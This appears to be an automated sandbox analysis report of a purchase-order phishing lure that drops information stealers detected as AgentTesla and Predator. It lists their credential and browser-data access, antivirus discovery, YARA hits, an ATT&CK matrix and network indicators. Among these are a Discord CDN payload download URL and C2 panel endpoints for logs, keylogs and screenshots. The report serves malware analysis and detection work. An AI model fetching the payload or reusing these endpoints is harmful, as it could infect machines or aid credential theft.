Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\update_232107.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\update_232107.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\update_232107.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation

Source: C:\Windows\SysWOW64\unarchiver.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.742022872.00000000077F5000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.392337894.00000000016E4000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information

Yara detected Predator

Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.44bfe50.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.update_232107.exe.3853138.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.update_232107.exe.465ae8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.update_232107.exe.37ef853.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.update_232107.exe.402203.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445bf68.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.update_232107.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445c56b.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445bf68.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.463ea30.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.46ef650.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002A.00000002.626910982.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.328581340.0000000004506000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.534533664.00000000037EF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.328581340.00000000043DD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE PID: 6984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE PID: 7116, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: update_232107.exe PID: 5708, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: asGTRKuvQ.exe PID: 6700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: update_232107.exe PID: 6504, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.44bfe50.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.update_232107.exe.3853138.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.update_232107.exe.465ae8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.update_232107.exe.37ef853.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.update_232107.exe.402203.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445bf68.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.update_232107.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445c56b.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445bf68.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.463ea30.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.46ef650.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002A.00000002.626910982.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.701372874.0000000002F8C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.328581340.0000000004506000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.701271590.000000000341B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.534533664.00000000037EF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.328581340.00000000043DD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE PID: 6984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE PID: 7116, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: update_232107.exe PID: 5708, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: asGTRKuvQ.exe PID: 6700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: update_232107.exe PID: 6504, type: MEMORYSTR

Remote Access Functionality

Yara detected Predator

Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.44bfe50.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.update_232107.exe.3853138.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.update_232107.exe.465ae8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.update_232107.exe.37ef853.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.update_232107.exe.402203.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445bf68.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.update_232107.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445c56b.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445bf68.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.463ea30.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.46ef650.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002A.00000002.626910982.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.328581340.0000000004506000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.534533664.00000000037EF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.328581340.00000000043DD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE PID: 6984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE PID: 7116, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: update_232107.exe PID: 5708, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: asGTRKuvQ.exe PID: 6700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: update_232107.exe PID: 6504, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	121 Windows Management Instrumentation	1 Scheduled Task/Job	112 Process Injection	3 Masquerading	1 OS Credential Dumping	341 Security Software Discovery	Remote Services	1 Input Capture	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	1 Disable or Modify Tools	1 Input Capture	12 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	1 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	141 Virtualization/Sandbox Evasion	Security Account Manager	141 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	1 DLL Side-Loading	112 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	4 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	3 Software Packing	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	24 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
REVISED PURCHASE ORDER.HTML	0%	ReversingLabs
REVISED PURCHASE ORDER.HTML	0%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Zip.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Newtonsoft.Json.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Zip.exe	42%	ReversingLabs	ByteCode-MSIL.Trojan.Lazy
C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	37%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
C:\Users\user\AppData\Local\Temp\update_232107.exe (copy)	37%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	37%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
C:\Users\user\Downloads\Newtonsoft.Json.dll	0%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
42.2.update_232107.exe.400000.0.unpack	100%	Avira	TR/ATRAPS.Gen		Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://ns.adobe.c/g	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/0	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/Y0	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/$	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.carterandcone.como.	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/S	0%	URL Reputation	safe
http://ns.adobe.cobj	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/J	0%	URL Reputation	safe
https://support.google.	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/?	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.founder.com.cn/cn/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/$	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/n	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/e	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/J	0%	URL Reputation	safe
http://mavelecgr.com/webpanel//task.php?hwid=CH35A22CC8A7	100%	Avira URL Cloud	malware
http://mavelecgr.com/webpanel//screen.php?hwid=CH35A22CC8A7	100%	Avira URL Cloud	malware
http://mavelecgr.com	100%	Avira URL Cloud	malware
http://www.tiro.com	0%	URL Reputation	safe
http://mavelecgr.comD8	0%	Avira URL Cloud	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://ip-api.com4	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/Lihaw	0%	Avira URL Cloud	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/S	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://mavelecgr.com/webpanel//logs.php?hwid=CH35A22CC8A7&Passwords=0&CreditCards=0&Cookies=0&AutoFi	100%	Avira URL Cloud	malware
http://www.jiyu-kobo.co.jp/jp/n	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/	0%	URL Reputation	safe
http://ip-api.comx	0%	URL Reputation	safe
http://james.newtonking.com/projects/json	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://mavelecgr.com/webpanel//config.json	100%	Avira URL Cloud	malware
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
https://gorah.pw	0%	Avira URL Cloud	safe
http://www.sajatypeworks.comA	0%	Avira URL Cloud	safe
http://ns.adobe.c/gX	0%	Avira URL Cloud	safe
http://www.fontbureau.comae	0%	Avira URL Cloud	safe
https://gomorrah.pw	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/Bold	0%	Avira URL Cloud	safe
http://ip-api.com8	0%	Avira URL Cloud	safe
http://www.sajatypeworks.comY	0%	Avira URL Cloud	safe
http://mavelecgr.com/webpanel/	100%	Avira URL Cloud	malware
http://mavelecgr.com/webpanel//keylogs.php?hwid=CH35A22CC8A7	100%	Avira URL Cloud	malware
http://mavelecgr.com/webpanel//keylogs.php?hwid=CH35A22CC8A70	100%	Avira URL Cloud	malware
http://www.fontbureau.comldva?	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn-i	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/sl-s	0%	Avira URL Cloud	safe
http://mavelecgr.com/webpanel//gate.php?hwid=CH35A22CC8A7	100%	Avira URL Cloud	malware
http://mavelecgr.com4	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
accounts.google.com	216.58.209.45	true	false	high
cdn.discordapp.com	162.159.130.233	true	false	high
www.google.com	142.250.180.132	true	false	high
ip-api.com	208.95.112.1	true	false	high
clients.l.google.com	142.250.180.174	true	false	high
mavelecgr.com	89.45.67.2	true	true	unknown
clients2.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://mavelecgr.com/webpanel//screen.php?hwid=CH35A22CC8A7	true	Avira URL Cloud: malware	unknown
http://mavelecgr.com/webpanel//task.php?hwid=CH35A22CC8A7	true	Avira URL Cloud: malware	unknown
https://clients2.google.com/service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=104.0.5112.81&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1	false		high
http://mavelecgr.com/webpanel//config.json	true	Avira URL Cloud: malware	unknown
http://ip-api.com/json/	false		high
http://mavelecgr.com/webpanel//keylogs.php?hwid=CH35A22CC8A7	true	Avira URL Cloud: malware	unknown
https://cdn.discordapp.com/attachments/897446870190800920/1077105532562853908/REVISED_PURCHASE_ORDER.zip	false		high
https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard	false		high
http://mavelecgr.com/webpanel//gate.php?hwid=CH35A22CC8A7	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004572000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.000000000458F000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.00000000045D4000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.00000000045FC000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.000000000454A000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004619000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004131000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004159000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040EC000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004176000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040A7000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040CF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040A7000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040CF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/intl/en_uk/chrome/https://www.google.com/intl/en_uk/chrome/https://www.google	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004675000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.00000000046A8000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000041D3000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004205000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mavelecgr.com	asGTRKuvQ.exe, 00000026.00000002.701372874.0000000003022000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.fontbureau.com/designers	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gorah.pw	Zip.exe, 00000016.00000003.438076424.00000185D8A27000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
